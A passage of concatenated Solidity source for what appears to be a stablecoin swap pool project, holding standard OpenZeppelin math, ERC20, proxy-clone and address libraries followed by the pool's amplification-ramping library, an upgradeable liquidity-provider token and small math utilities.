* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library Clones {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `master`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address master) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `master`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `master` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) {
return predictDeterministicAddress(master, salt, address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./SwapUtils.sol";
/**
* @title AmplificationUtils library
* @notice A library to calculate and ramp the A parameter of a given `SwapUtils.Swap` struct.
* This library assumes the struct is fully validated.
*/
library AmplificationUtils {
using SafeMath for uint256;
event RampA(
uint256 oldA,
uint256 newA,
uint256 initialTime,
uint256 futureTime
);
event StopRampA(uint256 currentA, uint256 time);
// Constant values used in ramping A calculations
uint256 public constant A_PRECISION = 100;
uint256 public constant MAX_A = 10**6;
uint256 private constant MAX_A_CHANGE = 2;
uint256 private constant MIN_RAMP_TIME = 14 days;
/**
* @notice Return A, the amplification coefficient * n * (n - 1)
* @dev See the StableSwap paper for details
* @param self Swap struct to read from
* @return A parameter
*/
function getA(SwapUtils.Swap storage self) external view returns (uint256) {
return _getAPrecise(self).div(A_PRECISION);
}
/**
* @notice Return A in its raw precision
* @dev See the StableSwap paper for details
* @param self Swap struct to read from
* @return A parameter in its raw precision form
*/
function getAPrecise(SwapUtils.Swap storage self)
external
view
returns (uint256)
{
return _getAPrecise(self);
}
/**
* @notice Return A in its raw precision
* @dev See the StableSwap paper for details
* @param self Swap struct to read from
* @return A parameter in its raw precision form
*/
function _getAPrecise(SwapUtils.Swap storage self)
internal
view
returns (uint256)
{
uint256 t1 = self.futureATime; // time when ramp is finished
uint256 a1 = self.futureA; // final A value when ramp is finished
if (block.timestamp < t1) {
uint256 t0 = self.initialATime; // time when ramp is started
uint256 a0 = self.initialA; // initial A value when ramp is started
if (a1 > a0) {
// a0 + (a1 - a0) * (block.timestamp - t0) / (t1 - t0)
return
a0.add(
a1.sub(a0).mul(block.timestamp.sub(t0)).div(t1.sub(t0))
);
} else {
// a0 - (a0 - a1) * (block.timestamp - t0) / (t1 - t0)
return
a0.sub(
a0.sub(a1).mul(block.timestamp.sub(t0)).div(t1.sub(t0))
);
}
} else {
return a1;
}
}
/**
* @notice Start ramping up or down A parameter towards given futureA_ and futureTime_
* Checks if the change is too rapid, and commits the new A value only when it falls under
* the limit range.
* @param self Swap struct to update
* @param futureA_ the new A to ramp towards
* @param futureTime_ timestamp when the new A should be reached
*/
function rampA(
SwapUtils.Swap storage self,
uint256 futureA_,
uint256 futureTime_
) external {
require(
block.timestamp >= self.initialATime.add(1 days),
"Wait 1 day before starting ramp"
);
require(
futureTime_ >= block.timestamp.add(MIN_RAMP_TIME),
"Insufficient ramp time"
);
require(
futureA_ > 0 && futureA_ < MAX_A,
"futureA_ must be > 0 and < MAX_A"
);
uint256 initialAPrecise = _getAPrecise(self);
uint256 futureAPrecise = futureA_.mul(A_PRECISION);
if (futureAPrecise < initialAPrecise) {
require(
futureAPrecise.mul(MAX_A_CHANGE) >= initialAPrecise,
"futureA_ is too small"
);
} else {
require(
futureAPrecise <= initialAPrecise.mul(MAX_A_CHANGE),
"futureA_ is too large"
);
}
self.initialA = initialAPrecise;
self.futureA = futureAPrecise;
self.initialATime = block.timestamp;
self.futureATime = futureTime_;
emit RampA(
initialAPrecise,
futureAPrecise,
block.timestamp,
futureTime_
);
}
/**
* @notice Stops ramping A immediately. Once this function is called, rampA()
* cannot be called for another 24 hours
* @param self Swap struct to update
*/
function stopRampA(SwapUtils.Swap storage self) external {
require(self.futureATime > block.timestamp, "Ramp is already stopped");
uint256 currentA = _getAPrecise(self);
self.initialA = currentA;
self.futureA = currentA;
self.initialATime = block.timestamp;
self.futureATime = block.timestamp;
emit StopRampA(currentA, block.timestamp);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20BurnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "./interfaces/ISwap.sol";
/**
* @title Liquidity Provider Token
* @notice This token is an ERC20 detailed token with added capability to be minted by the owner.
* It is used to represent user's shares when providing liquidity to swap contracts.
* @dev Only Swap contracts should initialize and own LPToken contracts.
*/
contract LPToken is ERC20BurnableUpgradeable, OwnableUpgradeable {
using SafeMathUpgradeable for uint256;
/**
* @notice Initializes this LPToken contract with the given name and symbol
* @dev The caller of this function will become the owner. A Swap contract should call this
* in its initializer function.
* @param name name of this token
* @param symbol symbol of this token
*/
function initialize(string memory name, string memory symbol)
external
initializer
returns (bool)
{
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
__Ownable_init_unchained();
return true;
}
/**
* @notice Mints the given amount of LPToken to the recipient.
* @dev only owner can call this mint function
* @param recipient address of account to receive the tokens
* @param amount amount of tokens to mint
*/
function mint(address recipient, uint256 amount) external onlyOwner {
require(amount != 0, "LPToken: cannot mint 0");
_mint(recipient, amount);
}
/**
* @dev Overrides ERC20._beforeTokenTransfer() which get called on every transfers including
* minting and burning. This ensures that Swap.updateUserWithdrawFees are called everytime.
* This assumes the owner is set to a Swap contract's address.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20Upgradeable) {
super._beforeTokenTransfer(from, to, amount);
require(to != address(this), "LPToken: cannot send to itself");
ISwap(owner()).updateUserWithdrawFee(to, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title MathUtils library
* @notice A library to be used in conjunction with SafeMath. Contains functions for calculating
* differences between two uint256.
*/
library MathUtils {
/**
* @notice Compares a and b and returns true if the difference between a and b
* is less than 1 or equal to each other.
* @param a uint256 to compare with
* @param b uint256 to compare with
* @return True if the difference between a and b is less than 1 or equal,
* otherwise return false
*/
function within1(uint256 a, uint256 b) internal pure returns (bool) {
return (difference(a, b) <= 1);
}
/**
* @notice Calculates absolute difference between a and b
* @param a uint256 to compare with
* @param b uint256 to compare with
* @return Difference between a and b
*/
function difference(uint256 a, uint256 b) internal pure returns (uint256) {
if (a > b) {
return a - b;
}
return b - a;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
/**
* @title OwnerPausable
* @notice An ownable contract allows the owner to pause and unpause the
* contract without a delay.
* @dev Only methods using the provided modifiers will be paused.
*/
